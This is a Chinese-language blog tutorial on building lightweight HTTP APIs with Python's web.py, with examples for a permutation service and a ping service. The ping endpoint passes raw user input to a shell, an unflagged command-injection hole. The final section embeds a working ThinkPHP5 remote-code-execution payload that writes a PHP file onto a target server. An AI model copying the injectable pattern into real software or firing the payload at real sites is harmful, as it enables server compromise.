• Python3菜鸟教程丨基于Web模块的轻量级接口设计基础


    看着互联网上各种各样的API接口十分欢喜,奈何因为收费望而却步,于是笔者在经过网上信息检索后,选择了最简单的Python3 Web.py 库作为菜鸟入门学习教程,并实现一些小功能,希望对萌新小白们有所帮助!

     

    注:i 春秋公众号旨在为大家提供更多的学习方法与技能技巧,文章仅供学习参考。

    开发环境:

    系统:安卓10

    工具:Termux

    编辑器:vim

    语言:Python3

    上传方法:ftp协议

    调试环境:

    系统:Windows2008(阿里云)

    环境:Python3.7.6 + Web.py

    说明:建议要使用最适合自己的开发环境,在win环境可以选择VS Code等编辑器来开发。

    如何安装运营环境

    服务器端安装示例(Windows 2008)

    • Python3环境的安装:

    对于Python3的安装,你只需要到官网下载适合你的安装包安装即可!

    如果你下载的是ZIP包,请自己配置好环境变量,如果你是下载的可视化安装程序,请记得勾选添加环境变量选项!

    • Web.py 库的安装:

    在开始安装之前,请记得在PowerShell里执行下面的命令,我们需要先升级pip,升级命令是这样:

    pip install --upgrade pip

    在升级完成后,便可以开始安装我们需要的Web库了。

    pip install web.py

    如何编写

    如同众多编程语言一般,我们先来写个HelloWord:

    文件名:sever.py

    #-*- coding:utf-8 -*-
    
    import web #导入web库
    
    #URL控制
    urls = (
        #访问index的时候,执行index方法
        '/index(.*)', 'index',
    )
    
    #index方法
    class index:
        def GET(self, text):
            index = "hello word!"
            return index
    
    #主函数开始
    if __name__ == "__main__":
        app = web.application(urls, globals())
        app.run()

    接着我们在指定端口执行这个脚本:

    python sever.py 80

    此时,我们访问:127.0.0.1:80,应该在浏览器中能看到这样的内容:

    hello word!

    这就满足了吗?

    不,最起码,得有个漂亮的样式,经过简单的搜索,发现Web.py提供的方法太麻烦了,于是,我们可以这样:

    请注意,此刻我们不需要去暂停控制台,可以直接去修改代码后刷新浏览器就好了!

    先在跟Sever.py同一目录下创建index.html,这个html里的文件自己想写啥就写啥,然后我们修改代码:

    #index方法
    class index:
        def GET(self, text):
            index = open("./index.html", 'r',encoding="utf-8")
            index = index.read()
            return index

    接着再来刷新浏览器,就会发现界面变成了你想要的样子,这说明html文件里的标签被渲染了。

    如何开发API

    有这样一道题:给定这样几个字母:a,e,t,请组成单词。

    笔者的代码:

    import sys
    from itertools import permutations
    
    def exhaustive_combination_def(exhaustive_combination):
        b = ""
        arr = exhaustive_combination.split(",")
        for a in permutations(arr):
            a = "".join(a)
            b = b + a + ","
            #print(a)
        return b
    
    if __name__ == "__main__":
        i="a,e,t"
        i=exhaustive_combination_def(i)
        print(i)

    执行后,我收获了结果:

    aet,ate,eat,eta,tae,tea,

    放到百度翻译,人生圆满了。

    为了维护方便,我们API是一个py文件,sever是一个文件,这样最好。

     

    api.py

    #-*- coding:utf-8 -*-
    
    import sys
    from itertools import permutations
    
    def exhaustive_combination_def(exhaustive_combination):
        b = ""
        dzarr = exhaustive_combination.split(",")
        for a in permutations(dzarr):
            a = "".join(a)
            b = b + a + ","
        return b

    sever.py

    #-*- coding:utf-8 -*-
    
    import web #导入web库
    #从文件api.py中引用自定义函数:exhaustive_combination_def
    from api import exhaustive_combination_def
    
    #URL控制
    urls = (
        #访问index的时候,执行index方法
        '/index(.*)', 'index',
        #访问api_one,执行exhaustive_combination方法
        '/api_one/(.*)', 'exhaustive_combination',
    )
    
    #exhaustive_combination方法
    class exhaustive_combination:
        #text接收的是get请求内容
        def GET(self, text):
            #变量 a 接收传回的返回值
            a=exhaustive_combination_def(text)
            #返回 a 的内容给浏览器
            return a
    
    index方法
    class index:
        def GET(self, text):
            index = open("./index.html", 'r',encoding="utf-8")
            index = index.read()
            return index
    
    if __name__ == "__main__":
        app = web.application(urls, globals())
        app.run()

    访问地址:

    http://127.0.0.1/api_one/a,e,t

    成功在浏览器返回:

    aet,ate,eat,eta,tae,tea,

    这样一个简单的API就写好了。

    这个时候,我们可以完全通过python写一个自己想要的API。

    比如,我们来写一个返回Ping命令结果的:

    ping.py

    # -*- coding: utf-8 -*-
    import subprocess  
    import re
    
    def ping_url(url):
        ping = subprocess.Popen(["ping.exe", url],
          stdin = subprocess.PIPE,
          stdout = subprocess.PIPE,
          stderr = subprocess.PIPE,
          shell = True)  
        out = ping.stdout.read()
        out = out.decode('gbk')
        return out

    sever.py

    #-*- coding:utf-8 -*-
    
    import web #导入web库
    #从文件api.py中引用自定义函数:exhaustive_combination_def
    from api import exhaustive_combination_def
    #从文件ping.py中引用自定义函数:ping_url
    from ping import ping_url
    
    #URL控制
    urls = (
        #访问index的时候,执行index方法
        '/index(.*)', 'index',
        #访问api_one,执行exhaustive_combination方法
        '/api_one/(.*)', 'exhaustive_combination',
        #访问ping,执行ping方法
        '/ping_api/(.*)','ping_api',
    )
    
    #ping方法
    class ping_api:
        def GET(self, text):
            a = "<html><head><meta charset="utf-8"><pre>"
            b = ping_url(text)
            c = "</pre></head></html>"
            a = a + b + c
            return a
    
    #exhaustive_combination方法
    class exhaustive_combination:
        #text接收的是get请求内容
        def GET(self, text):
            #变量 a 接收传回的返回值
            a=exhaustive_combination_def(text)
            #返回 a 的内容给浏览器
            return a
    
    #index方法
    class index:
        def GET(self, text):
            index = open("./index.html", 'r',encoding="utf-8")
            index = index.read()
            return index
    
    if __name__ == "__main__":
        app = web.application(urls, globals())
        app.run()

    访问:

    http://127.0.0.1/ping_api/www.20191005.tech

    成功返回内容:

    正在 Ping as20191005.coding.me [150.109.19.98] 具有 32 字节的数据:
    来自 150.109.19.98 的回复: 字节=32 时间=949ms TTL=47
    来自 150.109.19.98 的回复: 字节=32 时间=1111ms TTL=47
    来自 150.109.19.98 的回复: 字节=32 时间=1162ms TTL=47
    来自 150.109.19.98 的回复: 字节=32 时间=1156ms TTL=47
    
    150.109.19.98 的 Ping 统计信息:
        数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
    往返行程的估计时间(以毫秒为单位):
        最短 = 949ms,最长 = 1162ms,平均 = 1094ms

    扩展设想

    在编写工具时,我们很多时候用到的语言都是Python,然而我们编写的一些图形化工具随着不断的流传,很容易流传到不法分子手中,我们完全可以通过这种API式的去开发工具。

    当工具流窜出去,我们要阻止不法分子的时候,可以直接在服务器端ban了他的ip ,直接导致你的工具在他手中无法使用,或者直接改变接口参数,导致不法分子的工具失效,当然为了安全性可以加上一个基于接口的验证方案,来验证工具的使用者。

     

    拿thinkphp5来做一个例子:

    样例自定义函数:

    #-*- coding:utf-8 -*-
    import requests
    import re
    
    #命令执行
    def thinkphp5_api(url):
        poc = "?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20phpinfo();?>%27%20>%20"
        filename ="name.php"
        url = str(url + poc + filename)
        try:
            page = requests.get(url)
            zhuangtia = page.status_code
            qingqiutou = page.headers
            a = "【*】请求状态:" + str(zhuangtia) + "
    【*】写入路径:" + filename + "
    【*】请求头:
    " + str(qingqiutou)
            return a
        except:
            return "写入状态异常!"

    实际效果:

     

    这种方法笔者认为非常便于控制工具的流通,你只需要通过指定你允许的IP可以访问到服务器API,就可以将工具放心的传给团队内的其他使用者!

    如果本文激发了你对API开发的想法,不妨去试一试,对于Windows图形界面程序的开发,多种多样,你可以选择C#的WPF或者易语言,这两者对于图形界面的开发基本都是直接绘制,上手速度更加快速!

  • 相关阅读:
    POJ1028 Web Navigation【堆栈+模拟】
    UVa10276 HDU1329 ZOJ1239 Hanoi Tower Troubles Again!【递推函数+打表】
    UVALive5369 UVa732 HDU1515 ZOJ1004 Anagrams by Stack【DFS+堆栈】
    HDU5776 sum【前缀和+模除】
    POJ1844 Sum【水题+数学题】
    AOJ0558 Cheese【BFS】
    POJ3009 Curling 2.0【DFS】
    HDU1163 Eddy's digital Roots(解法二)【快速模幂+九余数定理】
    HDU1210 Eddy's 洗牌问题【递推函数+模拟】
    Vijos P1571 笨笨的导弹攻击【最长上升子序列+DP】
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/12303548.html
Copyright © 2020-2023  润新知